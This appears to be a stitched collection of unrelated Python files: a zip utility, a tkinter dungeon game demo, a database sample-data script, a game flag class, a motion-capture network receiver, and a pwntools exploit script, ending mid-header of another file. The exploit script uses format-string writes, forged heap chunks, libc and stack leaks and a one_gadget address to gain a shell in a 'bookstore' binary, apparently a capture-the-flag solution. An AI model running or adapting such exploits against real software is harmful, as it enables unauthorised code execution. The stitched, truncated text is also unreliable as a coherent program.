def unzipdir(zip_name, dest, overwrite=False):
    if not overwrite and os.path.exists(dest):
        raise Exception("%s already exists!" % dest)
    zfile = zipfile.ZipFile(zip_name)
    for name in zfile.namelist():
        # This precaution is necessary with Python < 2.7.4 .
        if (
            ".." not in name
            and ":" not in name
            and name[0] in string.ascii_letters + "_"
        ):
            zfile.extract(name, dest)
        else:
            warning("unzipdir: didn't extract %s", name)

if __name__ == "__main__":
    import shutil

    zf = "tmp_zipdirtest.zip"
    if os.path.exists(zf):
        os.remove(zf)
    zipdir("../tests", zf)
    dest = "tmp_tests"
    if os.path.exists(dest):
        shutil.rmtree(dest)
    unzipdir(zf, dest)
    input(f"Check {zf} and {dest}, then press Enter to continue the test.")
    try:
        unzipdir(zf, dest)
    except:
        pass
    else:
        assert False, "An exception should be raised when the destination exists!"
    unzipdir("tmp_zipdirtest.zip", dest, overwrite=True)
    os.remove(zf)
    shutil.rmtree(dest)


from tkinter import *
import tkinter.messagebox
import PIL.Image
import PIL.ImageTk
import pickle
import winsound

# main (root) GUI menu
class MainMenu:
    def __init__(self, master):
        self.master = master
        self.master.title('Welcome Menu')

        self.top_frame = tkinter.Frame(self.master)
        self.bottom_frame = tkinter.Frame(self.master)

        # create the label buttons
        im = PIL.Image.open("Darkest_Dungeon_Logo.png")
        photo = PIL.ImageTk.PhotoImage(im)

        ddl = Label(master, image=photo)
        ddl.image = photo
        # https://stackoverflow.com/questions/27599311/tkinter-photoimage-doesnt-not-support-png-image

        self.intro1 = tkinter.Label(self.top_frame, text='You are an exile, unwanted and alone. You have heard rumors about an nearly forgotten '
                                    'tomb filled with endless treasure and unknown horrors.')
        self.intro2 = tkinter.Label(self.top_frame, text='After months of searching you have finally found it. '
                                    'Do you dare enter?')
        # pack the intro
        ddl.pack()
        self.intro1.pack(side='top', anchor='n', padx=20)
        self.intro2.pack(side='top', anchor='n', padx=20)

        # create ok and quit buttons
        self.ok_button = tkinter.Button(self.bottom_frame, text='Enter the dungeon', command=self.enter)
        self.quit_button = tkinter.Button(self.bottom_frame, text='quit', command=self.master.destroy)

        # pack the buttons
        self.ok_button.pack(side='left')
        self.quit_button.pack(side='left')

        # pack the frames
        self.top_frame.pack()
        self.bottom_frame.pack()

    def enter(self):
        Outside(self.master)
        # this hides the main window

class Outside:
    def __init__(self, master):

        # tkinter.Toplevel() is like tkinter.Frame() but it opens in a new window
        self.window = tkinter.Toplevel(master)
        self.window.title('Outside the dungeon...')

        # create Frames for this Toplevel window
        self.top_frame = tkinter.Frame(self.window, padx=10)
        self.bottom_frame = tkinter.Frame(self.window, padx=10)

        # widgets for top frame - label and entry box for name
        self.old_man1_label = tkinter.Label(self.top_frame, text='You aproach the ancient stone doors and notice an decrepit old man etching symbols into stone slabs.')
        self.old_man2_label = tkinter.Label(self.top_frame, text='Once you get close enough to the door his head snaps up in your direction. One of his eyes are covered in')
        self.old_man3_label = tkinter.Label(self.top_frame, text=' dirty bandages and his clothes look like tattered scribes robes.')
        self.old_man4_label = tkinter.Label(self.top_frame, text='')
        im = PIL.Image.open("old man.png")
        photo = PIL.ImageTk.PhotoImage(im)

        old_man_pic = Label(self.top_frame, image=photo)
        old_man_pic.image = photo

        self.old_man5_label = tkinter.Label(self.top_frame, text='Old man: Ahhh another victim of this tomb of eldritch horrors searching for the treasures so many others')
        self.old_man6_label = tkinter.Label(self.top_frame, text='have sought and died for. well if you must go in can I ask to know a little about you? I make sure no ')
        self.old_man7_label = tkinter.Label(self.top_frame, text='poor soul is forgotten when they enter and die in this foul place. So tell me about yourself.')

        # pack top frame

        self.old_man1_label.pack(side='top', anchor='w')
        self.old_man2_label.pack(side='top', anchor='w')
        self.old_man3_label.pack(side='top', anchor='w')
        self.old_man4_label.pack(side='top', anchor='w')
        old_man_pic.pack()
        self.old_man5_label.pack(side='top', anchor='w')
        self.old_man6_label.pack(side='top', anchor='w')
        self.old_man7_label.pack(side='top', anchor='w')

        # buttons for bottom frame
        self.con_button = tkinter.Button(self.bottom_frame, text='Continue', command=self.cont)

        # pack bottom frame
        self.con_button.pack(anchor='n')

        # pack frames
        self.top_frame.pack()
        self.bottom_frame.pack()

    def cont(self):
        self.top_frame.destroy()
        self.bottom_frame.destroy()
        Questions(master=self.window)

class Questions:
    def __init__(self, master):

        # tkinter.Toplevel() is like tkinter.Frame() but it opens in a new window
        self.ques = master
        self.ques.title('Outside the dungeon...')

        # create Frames for this Toplevel window
        self.top_frame = tkinter.Frame(self.ques, padx=40)
        self.bottom_frame = tkinter.Frame(self.ques, padx=40)

        self.radio_var1 = tkinter.IntVar()
        self.radio_var1.set(1)
        self.radio_var2 = tkinter.IntVar()
        self.radio_var2.set(1)

        # widgets for top frame - label and entry box for name
        self.quest_1_label = tkinter.Label(self.top_frame, text='What is your name?')
        self.quest_1_entry = tkinter.Entry(self.top_frame, width=20)
        self.quest_2_label = tkinter.Label(self.top_frame, text='What are you?')
        self.quest_2_button1 = tkinter.Radiobutton(self.top_frame, text='Man',
                                                   variable=self.radio_var1, value=1)
        self.quest_2_button2 = tkinter.Radiobutton(self.top_frame, text='Woman',
                                                   variable=self.radio_var1, value=2)
        self.quest_3_label = tkinter.Label(self.top_frame, text='What weapon do you use?')
        self.quest_3_button1 = tkinter.Radiobutton(self.top_frame, text='Sword and Shield',
                                                   variable=self.radio_var2, value=1)
        self.quest_3_button2 = tkinter.Radiobutton(self.top_frame, text='Dagger and Bow',
                                                   variable=self.radio_var2, value=2)
        # pack top frame
        self.quest_1_label.pack(side='top', anchor='n', padx=20)
        self.quest_1_entry.pack(side='top', anchor='n', padx=20)
        self.quest_2_label.pack(side='top', anchor='n', padx=20)
        self.quest_2_button1.pack(side='top', anchor='n', padx=20)
        self.quest_2_button2.pack(side='top', anchor='n', padx=20)
        self.quest_3_label.pack(side='top', anchor='n', padx=20)
        self.quest_3_button1.pack(side='top', anchor='n', padx=20)
        self.quest_3_button2.pack(side='top', anchor='n', padx=20)

        # buttons for bottom frame
        self.con_button = tkinter.Button(self.bottom_frame, text='continue', command=self.con)
        # pack bottom frame
        self.con_button.pack(side='top')

        # pack frames
        self.top_frame.pack()
        self.bottom_frame.pack()
        self.sex = 0
        self.weapon = 0

    def con(self):
        if self.radio_var1.get() == 1:
            self.sex = 1
        else:
            self.sex = 2
        if self.radio_var2.get() == 1:
            self.weapon = 1
        else:
            self.weapon = 2
        character = {'name': self.quest_1_entry.get(), 'sex': self.sex}
        weapon = {'weapon_combo': self.weapon}
        with open('character.txt', 'wb') as char:
            pickle.dump(character, char)
        with open('weapon.txt', 'wb') as weap:
            pickle.dump(weapon, weap)
            # https://stackoverflow.com/questions/36965507/writing-a-dictionary-to-a-text-file
        self.top_frame.destroy()
        self.bottom_frame.destroy()
        Answers(master=self.ques)

class Answers:
    def __init__(self, master):

        # tkinter.Toplevel() is like tkinter.Frame() but it opens in a new window
        self.ans = master
        self.ans.title('Outside the dungeon...')

        # create Frames for this Toplevel window
        self.top_frame = tkinter.Frame(self.ans)
        self.bottom_frame = tkinter.Frame(self.ans)

        with open("character.txt", "rb") as char:
            self.char = pickle.load(char)
        with open("weapon.txt", "rb") as weap:
            self.weap = pickle.load(weap)
            # https://stackoverflow.com/questions/36965507/writing-a-dictionary-to-a-text-file

        # widgets for top frame -
        if self.char['sex'] == 1:
            im = PIL.Image.open("male character.png")
            photo = PIL.ImageTk.PhotoImage(im)

            main_character_pic = Label(self.top_frame, image=photo)
            main_character_pic.image = photo

        else:
            im = PIL.Image.open("female character.png")
            photo = PIL.ImageTk.PhotoImage(im)

            main_character_pic = Label(self.top_frame, image=photo)
            main_character_pic.image = photo
        if self.weap['weapon_combo'] == 1:
            self.weap['weapon_combo'] = 'Sword and Shield'
        else:
            self.weap['weapon_combo'] = 'Dagger and Bow'
        self.name = tkinter.Label(self.top_frame, text='My name is ' + self.char['name'] + '.')
        self.weapon = tkinter.Label(self.top_frame, text='I use a ' + self.weap['weapon_combo'] + '.')

        # pack top frame
        main_character_pic.pack(side='top', anchor='n')
        self.name.pack(side='top', anchor='n')
        self.weapon.pack(side='top', anchor='n')
        # buttons for bottom frame
        self.con_button = tkinter.Button(self.bottom_frame, text='continue', command=self.con)

        # pack bottom frame
        self.con_button.pack(side='top')

        # pack frames
        self.top_frame.pack()
        self.bottom_frame.pack()

    def con(self):

        self.top_frame.destroy()
        self.bottom_frame.destroy()
        Response(master=self.ans)

class Response:
    def __init__(self, master):

        # tkinter.Toplevel() is like tkinter.Frame() but it opens in a new window
        self.res = master
        self.res.title('Outside the dungeon...')

        # create Frames for this Toplevel window
        self.top_frame = tkinter.Frame(self.res)
        self.bottom_frame = tkinter.Frame(self.res)

        # widgets for top frame
        with open("character.txt", "rb") as myFile:
            self.char = pickle.load(myFile)

        im = PIL.Image.open("old man.png")
        photo = PIL.ImageTk.PhotoImage(im)

        old_man_pic = Label(self.top_frame, image=photo)
        old_man_pic.image = photo

        self.old_man_label_1 = tkinter.Label(self.top_frame, text='Very well, I hope you have a more prosperous '
                                             'delve into this tomb them the others before you ' + self.char['name'] + '.')
        self.old_man_label_2 = tkinter.Label(self.top_frame, text='May the gods have mercy on your soul.')
        # pack top frame
        old_man_pic.pack(side='top', anchor='n')
        self.old_man_label_1.pack(side='top', anchor='w')
        self.old_man_label_2.pack(side='top', anchor='n')
        # buttons for bottom frame
        self.con_button = tkinter.Button(self.bottom_frame, text='continue', command=self.con)

        # pack bottom frame
        self.con_button.pack(side='top')

        # pack frames
        self.top_frame.pack()
        self.bottom_frame.pack()

    def con(self):
        self.top_frame.destroy()
        self.bottom_frame.destroy()
        Door(master=self.res)

class Door:
    def __init__(self, master):

        # tkinter.Toplevel() is like tkinter.Frame() but it opens in a new window
        self.door = master
        self.door.title('Outside the dungeon...')

        # create Frames for this Toplevel window
        self.top_frame = tkinter.Frame(self.door)
        self.bottom_frame = tkinter.Frame(self.door)

        # widgets for top frame
        self.door_1 = tkinter.Label(self.top_frame, text='You turn away from the old man without another word')
        self.door_2 = tkinter.Label(self.top_frame, text='and stare at the ancient door thatstands before you.')
        self.door_3 = tkinter.Label(self.top_frame, text='You know damn well that you could never come back out,')
        self.door_4 = tkinter.Label(self.top_frame, text='but the tresure promised is to tempting and your greed')
        self.door_5 = tkinter.Label(self.top_frame, text='begins to grow as you put your hands on the door.')
        im = PIL.Image.open("download.png")
        photo = PIL.ImageTk.PhotoImage(im)

        door = Label(self.top_frame, image=photo)
        door.image = photo  # keep a reference!

        # pack top frame
        door.pack()
        self.door_1.pack(side='top', anchor='w')
        self.door_2.pack(side='top', anchor='w')
        self.door_3.pack(side='top', anchor='w')
        self.door_4.pack(side='top', anchor='w')
        self.door_5.pack(side='top', anchor='w')

        # buttons for bottom frame
        self.con_button = tkinter.Button(self.bottom_frame, text='open the door', command=self.con)

        # pack bottom frame
        self.con_button.pack(side='top')

        # pack frames
        self.top_frame.pack()
        self.bottom_frame.pack()

    def con(self):
        winsound.PlaySound('door sound.wav', winsound.SND_FILENAME)
        # https://stackoverflow.com/questions/307305/play-a-sound-with-python
        self.top_frame.destroy()
        self.bottom_frame.destroy()
        End(master=self.door)

class End:
    def __init__(self, master):

        # tkinter.Toplevel() is like tkinter.Frame() but it opens in a new window
        self.end = master
        self.end.title('Outside the dungeon...')

        # create Frames for this Toplevel window
        self.top_frame = tkinter.Frame(self.end)
        self.bottom_frame = tkinter.Frame(self.end)

        # widgets for top frame
        self.end1 = tkinter.Label(self.top_frame, text='And this is the end of the demo!')
        self.end2 = tkinter.Label(self.top_frame, text='I hope you enjoyed! this was an experience')
        self.end3 = tkinter.Label(self.top_frame, text='to create, it was fun despite the ups and downs.')
        self.end4 = tkinter.Label(self.top_frame, text='And I truly thank you for the class.')

        # pack top frame
        self.end1.pack()
        self.end2.pack()
        self.end3.pack()
        self.end4.pack()
        # buttons for bottom frame
        self.end_button = tkinter.Button(self.bottom_frame, text='main menu', command=self.endit)

        # pack bottom frame
        self.end_button.pack(side='top')

        # pack frames
        self.top_frame.pack()
        self.bottom_frame.pack()

    def endit(self):
        self.end.destroy()

def main():
    # create a window
    root = tkinter.Tk()
    # call the GUI and send it the root menu
    MainMenu(root)

    # control the mainloop from main instead of the class
    root.mainloop()

main()


"""Installs some sample data.   Here we have a handful of postal codes for
a few US/Canadian cities.   Then, 100 Person records are installed, each
with a randomly selected postal code.

"""
import random

from .environment import Base
from .environment import Session
from .model import Address
from .model import City
from .model import Country
from .model import Person
from .model import PostalCode

def install():
    Base.metadata.create_all(Session().bind)

    data = [
        ("Chicago", "United States", ("60601", "60602", "60603", "60604")),
        ("Montreal", "Canada", ("H2S 3K9", "H2B 1V4", "H7G 2T8")),
        ("Edmonton", "Canada", ("T5J 1R9", "T5J 1Z4", "T5H 1P6")),
        (
            "New York",
            "United States",
            ("10001", "10002", "10003", "10004", "10005", "10006"),
        ),
        (
            "San Francisco",
            "United States",
            ("94102", "94103", "94104", "94105", "94107", "94108"),
        ),
    ]

    countries = {}
    all_post_codes = []
    for city, country, postcodes in data:
        try:
            country = countries[country]
        except KeyError:
            countries[country] = country = Country(country)

        city = City(city, country)
        pc = [PostalCode(code, city) for code in postcodes]
        Session.add_all(pc)
        all_post_codes.extend(pc)

    for i in range(1, 51):
        person = Person(
            "person %.2d" % i,
            Address(
                street="street %.2d" % i,
                postal_code=all_post_codes[
                    random.randint(0, len(all_post_codes) - 1)
                ],
            ),
        )
        Session.add(person)

    Session.commit()

    # start the demo fresh
    Session.remove()


# Released under the MIT License. See LICENSE for details.
#
"""Implements a flag used for marking bases, capture-the-flag games, etc."""

from __future__ import annotations

from dataclasses import dataclass
from typing import TYPE_CHECKING

from bascenev1lib.gameutils import SharedObjects
import bascenev1 as bs

if TYPE_CHECKING:
    from typing import Any, Sequence

class FlagFactory:
    """Wraps up media and other resources used by `Flag`s.

    Category: **Gameplay Classes**

    A single instance of this is shared between all flags
    and can be retrieved via FlagFactory.get().
    """

    flagmaterial: bs.Material
    """The bs.Material applied to all `Flag`s."""

    impact_sound: bs.Sound
    """The bs.Sound used when a `Flag` hits the ground."""

    skid_sound: bs.Sound
    """The bs.Sound used when a `Flag` skids along the ground."""

    no_hit_material: bs.Material
    """A bs.Material that prevents contact with most objects;
       applied to 'non-touchable' flags."""

    flag_texture: bs.Texture
    """The bs.Texture for flags."""

    _STORENAME = bs.storagename()

    def __init__(self) -> None:
        """Instantiate a `FlagFactory`.

        You shouldn't need to do this; call FlagFactory.get() to
        get a shared instance.
        """
        shared = SharedObjects.get()
        self.flagmaterial = bs.Material()
        self.flagmaterial.add_actions(
            conditions=(
                ('we_are_younger_than', 100),
                'and',
                ('they_have_material', shared.object_material),
            ),
            actions=('modify_node_collision', 'collide', False),
        )

        self.flagmaterial.add_actions(
            conditions=(
                'they_have_material',
                shared.footing_material,
            ),
            actions=(
                ('message', 'our_node', 'at_connect', 'footing', 1),
                ('message', 'our_node', 'at_disconnect', 'footing', -1),
            ),
        )

        self.impact_sound = bs.getsound('metalHit')
        self.skid_sound = bs.getsound('metalSkid')
        self.flagmaterial.add_actions(
            conditions=(
                'they_have_material',
                shared.footing_material,
            ),
            actions=(
                ('impact_sound', self.impact_sound, 2, 5),
                ('skid_sound', self.skid_sound, 2, 5),
            ),
        )

        self.no_hit_material = bs.Material()
        self.no_hit_material.add_actions(
            conditions=(
                ('they_have_material', shared.pickup_material),
                'or',
                ('they_have_material', shared.attack_material),
            ),
            actions=('modify_part_collision', 'collide', False),
        )

        # We also don't want anything moving it.
        self.no_hit_material.add_actions(
            conditions=(
                ('they_have_material', shared.object_material),
                'or',
                ('they_dont_have_material', shared.footing_material),
            ),
            actions=(
                ('modify_part_collision', 'collide', False),
                ('modify_part_collision', 'physical', False),
            ),
        )

        self.flag_texture = bs.gettexture('flagColor')

    @classmethod
    def get(cls) -> FlagFactory:
        """Get/create a shared `FlagFactory` instance."""
        activity = bs.getactivity()
        factory = activity.customdata.get(cls._STORENAME)
        if factory is None:
            factory = FlagFactory()
            activity.customdata[cls._STORENAME] = factory
        assert isinstance(factory, FlagFactory)
        return factory

@dataclass
class FlagPickedUpMessage:
    """A message saying a `Flag` has been picked up.

    Category: **Message Classes**
    """

    flag: Flag
    """The `Flag` that has been picked up."""

    node: bs.Node
    """The bs.Node doing the picking up."""

@dataclass
class FlagDiedMessage:
    """A message saying a `Flag` has died.

    Category: **Message Classes**
    """

    flag: Flag
    """The `Flag` that died."""

@dataclass
class FlagDroppedMessage:
    """A message saying a `Flag` has been dropped.

    Category: **Message Classes**
    """

    flag: Flag
    """The `Flag` that was dropped."""

    node: bs.Node
    """The bs.Node that was holding it."""

class Flag(bs.Actor):
    """A flag; used in games such as capture-the-flag or king-of-the-hill.

    Category: **Gameplay Classes**

    Can be stationary or carry-able by players.
    """

    def __init__(
        self,
        position: Sequence[float] = (0.0, 1.0, 0.0),
        color: Sequence[float] = (1.0, 1.0, 1.0),
        materials: Sequence[bs.Material] | None = None,
        touchable: bool = True,
        dropped_timeout: int | None = None,
    ):
        """Instantiate a flag.

        If 'touchable' is False, the flag will only touch terrain;
        useful for things like king-of-the-hill where players should
        not be moving the flag around.

        'materials can be a list of extra `bs.Material`s to apply to the flag.

        If 'dropped_timeout' is provided (in seconds), the flag will die
        after remaining untouched for that long once it has been moved
        from its initial position.
        """

        super().__init__()

        self._initial_position: Sequence[float] | None = None
        self._has_moved = False
        shared = SharedObjects.get()
        factory = FlagFactory.get()

        if materials is None:
            materials = []
        elif not isinstance(materials, list):
            # In case they passed a tuple or whatnot.
            materials = list(materials)
        if not touchable:
            materials = [factory.no_hit_material] + materials

        finalmaterials = [
            shared.object_material,
            factory.flagmaterial,
        ] + materials
        self.node = bs.newnode(
            'flag',
            attrs={
                'position': (position[0], position[1] + 0.75, position[2]),
                'color_texture': factory.flag_texture,
                'color': color,
                'materials': finalmaterials,
            },
            delegate=self,
        )

        if dropped_timeout is not None:
            dropped_timeout = int(dropped_timeout)
        self._dropped_timeout = dropped_timeout
        self._counter: bs.Node | None
        if self._dropped_timeout is not None:
            self._count = self._dropped_timeout
            self._tick_timer = bs.Timer(
                1.0, call=bs.WeakCall(self._tick), repeat=True
            )
            self._counter = bs.newnode(
                'text',
                owner=self.node,
                attrs={
                    'in_world': True,
                    'color': (1, 1, 1, 0.7),
                    'scale': 0.015,
                    'shadow': 0.5,
                    'flatness': 1.0,
                    'h_align': 'center',
                },
            )
        else:
            self._counter = None

        self._held_count = 0
        self._score_text: bs.Node | None = None
        self._score_text_hide_timer: bs.Timer | None = None

    def _tick(self) -> None:
        if self.node:
            # Grab our initial position after one tick (in case we fall).
            if self._initial_position is None:
                self._initial_position = self.node.position

                # Keep track of when we first move; we don't count down
                # until then.
            if not self._has_moved:
                nodepos = self.node.position
                if (
                    max(
                        abs(nodepos[i] - self._initial_position[i])
                        for i in list(range(3))
                    )
                    > 1.0
                ):
                    self._has_moved = True

            if self._held_count > 0 or not self._has_moved:
                assert self._dropped_timeout is not None
                assert self._counter
                self._count = self._dropped_timeout
                self._counter.text = ''
            else:
                self._count -= 1
                if self._count <= 10:
                    nodepos = self.node.position
                    assert self._counter
                    self._counter.position = (
                        nodepos[0],
                        nodepos[1] + 1.3,
                        nodepos[2],
                    )
                    self._counter.text = str(self._count)
                    if self._count < 1:
                        self.handlemessage(bs.DieMessage())
                else:
                    assert self._counter
                    self._counter.text = ''

    def _hide_score_text(self) -> None:
        assert self._score_text is not None
        assert isinstance(self._score_text.scale, float)
        bs.animate(
            self._score_text, 'scale', {0: self._score_text.scale, 0.2: 0}
        )

    def set_score_text(self, text: str) -> None:
        """Show a message over the flag; handy for scores."""
        if not self.node:
            return
        if not self._score_text:
            start_scale = 0.0
            math = bs.newnode(
                'math',
                owner=self.node,
                attrs={'input1': (0, 1.4, 0), 'operation': 'add'},
            )
            self.node.connectattr('position', math, 'input2')
            self._score_text = bs.newnode(
                'text',
                owner=self.node,
                attrs={
                    'text': text,
                    'in_world': True,
                    'scale': 0.02,
                    'shadow': 0.5,
                    'flatness': 1.0,
                    'h_align': 'center',
                },
            )
            math.connectattr('output', self._score_text, 'position')
        else:
            assert isinstance(self._score_text.scale, float)
            start_scale = self._score_text.scale
            self._score_text.text = text
        self._score_text.color = bs.safecolor(self.node.color)
        bs.animate(self._score_text, 'scale', {0: start_scale, 0.2: 0.02})
        self._score_text_hide_timer = bs.Timer(
            1.0, bs.WeakCall(self._hide_score_text)
        )

    def handlemessage(self, msg: Any) -> Any:
        assert not self.expired
        if isinstance(msg, bs.DieMessage):
            if self.node:
                self.node.delete()
                if not msg.immediate:
                    self.activity.handlemessage(FlagDiedMessage(self))
        elif isinstance(msg, bs.HitMessage):
            assert self.node
            assert msg.force_direction is not None
            self.node.handlemessage(
                'impulse',
                msg.pos[0],
                msg.pos[1],
                msg.pos[2],
                msg.velocity[0],
                msg.velocity[1],
                msg.velocity[2],
                msg.magnitude,
                msg.velocity_magnitude,
                msg.radius,
                0,
                msg.force_direction[0],
                msg.force_direction[1],
                msg.force_direction[2],
            )
        elif isinstance(msg, bs.PickedUpMessage):
            self._held_count += 1
            if self._held_count == 1 and self._counter is not None:
                self._counter.text = ''
            self.activity.handlemessage(FlagPickedUpMessage(self, msg.node))
        elif isinstance(msg, bs.DroppedMessage):
            self._held_count -= 1
            if self._held_count < 0:
                print('Flag held count < 0.')
                self._held_count = 0
            self.activity.handlemessage(FlagDroppedMessage(self, msg.node))
        else:
            super().handlemessage(msg)

    @staticmethod
    def project_stand(pos: Sequence[float]) -> None:
        """Project a flag-stand onto the ground at the given position.

        Useful for games such as capture-the-flag to show where a
        movable flag originated from.
        """
        assert len(pos) == 3
        bs.emitfx(position=pos, emit_type='flag_stand')


import socket
import struct
import matplotlib.pyplot as plt
import threading
import queue
from queue import Queue

bone_map = [
    "Hips",  # 0
    "Spine",  # 1
    None,  # 2
    "Chest",  # 3
    None,  # 4
    "UpperChest",  # 5
    None,  # 6
    "-",  # 7
    "-",  # 8
    "Neck",  # 9
    "Head",  # 10
    "RightShoulder",  # 11
    "RightUpperArm",  # 12
    "RightLowerArm",  # 13
    "RightHand",  # 14
    "LeftShoulder",  # 15
    "LeftUpperArm",  # 16
    "LeftLowerArm",  # 17
    "LeftHand",  # 18
    "RightUpperLeg",  # 19
    "RightLowerLeg",  # 20
    "RightFoot",  # 21
    "RightToes",  # 22
    "LeftUpperLeg",  # 23
    "LeftLowerLeg",  # 24
    "LeftFoot",  # 25
    "LeftToes"  # 26
]

# Add the following imports for plot animation
from matplotlib.animation import FuncAnimation

# Uncomment the following line if using Matplotlib with a non-default backend
# import matplotlib
# matplotlib.use('Qt5Agg')

def is_field(name):
    return name.isalpha()

def _deserialize(data, index, length, is_list=False):
    result = [] if is_list else {}
    end_pos = index + length
    while end_pos - index > 8 and is_field(data[index + 4: index + 8]):
        size = struct.unpack("@i", data[index: index + 4])[0]
        index += 4
        field = data[index: index + 4]
        index += 4
        value, index2 = _deserialize(data, index, size, field in [b"btrs", b"bons"])
        index = index2
        if is_list:
            result.append(value)
        else:
            result[field.decode()] = value
    if len(result) == 0:
        body = data[index: index + length]
        return body, index + len(body)
    else:
        return result, index

def _process_packet(message):
    data = _deserialize(message, 0, len(message), False)[0]
    data["head"]["ftyp"] = data["head"]["ftyp"].decode()
    data["head"]["vrsn"] = ord(data["head"]["vrsn"])
    data["sndf"]["ipad"] = struct.unpack("@BBBBBBBB", data["sndf"]["ipad"])
    data["sndf"]["rcvp"] = struct.unpack("@H", data["sndf"]["rcvp"])[0]
    if "skdf" in data:
        for item in data["skdf"]["bons"]:
            item["bnid"] = struct.unpack("@H", item["bnid"])[0]
            item["pbid"] = struct.unpack("@H", item["pbid"])[0]
            item["tran"] = struct.unpack("@fffffff", item["tran"])
    elif "fram" in data:
        data["fram"]["fnum"] = struct.unpack("@I", data["fram"]["fnum"])[0]
        data["fram"]["time"] = struct.unpack("@I", data["fram"]["time"])[0]
        for item in data["fram"]["btrs"]:
            item["bnid"] = struct.unpack("@H", item["bnid"])[0]
            item["tran"] = struct.unpack("@fffffff", item["tran"])
    return data

class Receiver:
    def __init__(self, addr="10.18.80.194", port=12351):
        self.addr = addr
        self.port = port
        self.figure = None
        self.axes = None
        self.lines = []
        self.queue = Queue()
        self.stop_event = threading.Event()

    def plot_human_frame(self, data):
        # Process the human frame data and update the plot
        # Modify this function according to your data structure and plotting requirements
        # Example:
        frame_data = data["fram"]
        fnum = frame_data["fnum"]
        time = frame_data["time"]
        btrs = frame_data["btrs"]

        # Create the plot if it doesn't exist
        if self.figure is None:
            self.figure = plt.figure()
            self.axes = self.figure.add_subplot(111)
            self.lines = []
            for item in btrs:
                line, = self.axes.plot([], [], label=f"Bone {item['bnid']}")
                self.lines.append(line)
            self.axes.legend()

        # Update the plot data
        for i, item in enumerate(btrs):
            bnid = item["bnid"]
            tran = item["tran"]
            line = self.lines[i]
            if not line.get_data():
                line.set_data(range(len(tran)), tran)
            else:
                line.set_ydata(tran)

        # Set appropriate plot limits if needed
        # You can modify this based on your requirements
        self.axes.set_xlim(0, len(tran) - 1)
        self.axes.set_ylim(-1.0, 1.0)  # Modify the y-axis limits if needed

        self.figure.canvas.draw()

    def animate(self, frame_data):
        # Plot the human frame
        self.plot_human_frame(frame_data)

    def receive_data(self):
        while not self.stop_event.is_set():
            try:
                # Receive data from the queue
                data = self.queue.get(timeout=1)

                # Check if the expected keys are present in the data dictionary
                if "fram" in data:
                    self.plot_human_frame(data["fram"])
                else:
                    print("Key 'fram' not found in data:", data)

            except Queue.empty:  # Update to use Queue.Empty
                # Ignore empty queue exceptions and continue
                pass

    def plot_animation(self):
        # Create the plot animation
        ani = FuncAnimation(self.figure, self.animate, interval=200)

        # Show the plot
        plt.show()

    def start(self):
        # Start the data receiving thread
        receive_thread = threading.Thread(target=self.receive_data)
        receive_thread.start()

        # Create the plot animation
        self.figure = plt.figure()
        self.axes = self.figure.add_subplot(111)
        self.lines = []

        def init_animation():
            for item in self.lines:
                item.set_data([], [])
            return self.lines

        def update_animation(frame):
            self.plot_human_frame(frame)
            return self.lines

        def frame_generator():
            while not self.stop_event.is_set():
                yield self.queue.get()

        ani = FuncAnimation(
            self.figure,
            update_animation,
            init_func=init_animation,
            frames=frame_generator,  # Use the frame generator function
            interval=200
        )

        # Show the plot
        plt.show()

        try:
            # Wait for a keyboard interrupt to stop the thread
            while True:
                pass
        except KeyboardInterrupt:
            # Set the stop event to terminate the thread
            self.stop_event.set()

        # Wait for the threads to finish
        receive_thread.join()

# Usage
receiver = Receiver()
receiver.start()


from pwn import *

#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

file = "./bookstore"
bin = ELF(file)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

conn = process(file)
#gdb.attach(conn)

def menu(choice, ch=None):
  conn.recvuntil("Submit\n")
  if ch is None:
    conn.sendline(str(choice))
  else:
    conn.sendline(ch)

def edit(num, content):
  menu(num)
  conn.recvuntil("order:")
  conn.sendline(content)

def delete(num):
  menu(num+2)

def submit(ch=None):
  menu(5, ch=ch)

FINI_ARRAY_ADDR = 0x6011B8
MAIN_OFFSET = 0xA39

c1 = "%" + str(0x39 - (0x45 - 0x39)) + "c%13$hhn" + \
     "%" + str(0xa - 0x39 + 0x100) + "c%14$hhn-dddd%31$p-%33$p-"
c1 = c1.ljust(0x80, "c")
c2 = ("b"*0x20).ljust(0x140, "\x00")

payload = c1 + p64(0x0) + p64(0x151) + \
          c2 + \
          p64(0x0) + p64(0x21) + "c"*0x10 + p64(0) + p64(0x31)
edit(1, payload)
delete(2)

stack_payload = "5"*8 + p64(FINI_ARRAY_ADDR) + p64(FINI_ARRAY_ADDR+1)
submit(ch=stack_payload)

conn.recvuntil("dddd0x")

libc_leak = int(conn.recvuntil("-")[:-1], 16)
libc.address = libc_leak - 0x7f0ae6145830 + 0x7f0ae6125000

stack_leak = int(conn.recvuntil("-")[2:-1], 16)
log.info("Stack leak: " + hex(stack_leak))

log.info("Libc address: " + hex(libc.address))

# Do everything once again

ROP_CHAIN_ADDR = stack_leak - 0x7ffd7f152bc8 + 0x7ffd7f1529d8
ONE_GADGET_ADDR = libc.address + 0x4526a
STACK_CLEAR_ADDR = stack_leak - 0x7ffd24208538 + 0x7ffd24208380

words = [None]*4
words[0] = ONE_GADGET_ADDR % 0x10000
words[1] = (ONE_GADGET_ADDR / 0x10000) % 0x10000
words[2] = (ONE_GADGET_ADDR / 0x100000000) % 0x10000
words[3] = (ONE_GADGET_ADDR / 0x10000000000) % 0x10000

def fix(param):
  log.info(param)
  if param < 0:
    return str(param + 0x10000)
  return str(param)

c1 = "%" + fix(words[0] - (0x45 - 0x39)) + "c%13$hn" + \
     "%" + fix(words[1] - words[0]) + "c%14$hn" + \
     "%" + fix(words[2] - words[1]) + "c%15$hn" + \
     "%" + fix(0 - words[2]) + "c%16$hn%17$hn%18$hn"

c1 = c1.ljust(0x80, "c")
c2 = ("b"*0x110 + p64(0) + p64(0x12401)).ljust(0x140, "\x00")

payload = c1 + p64(0x0) + p64(0x151) + \
          c2 + \
          p64(0x0) + p64(0x21) + "c"*0x10 + p64(0) + p64(0x31)
edit(1, payload)
delete(2)

stack_payload = "5"*8 + p64(ROP_CHAIN_ADDR) + p64(ROP_CHAIN_ADDR + 2) + \
                p64(ROP_CHAIN_ADDR + 4) + \
                p64(STACK_CLEAR_ADDR) + p64(STACK_CLEAR_ADDR + 2) + \
                p64(STACK_CLEAR_ADDR + 4)

submit(ch=stack_payload)

log.info("one_gadget: " + hex(ONE_GADGET_ADDR))

conn.interactive()


# Importing the Agent class from the mesa module.
# The above code is importing the random and math modules.
import random
import math
from mesa import Agent

# ----------------------------------------------------------
# Actividad Integradora agents.py
#
# Date: 21-Nov-2022
# Authors:
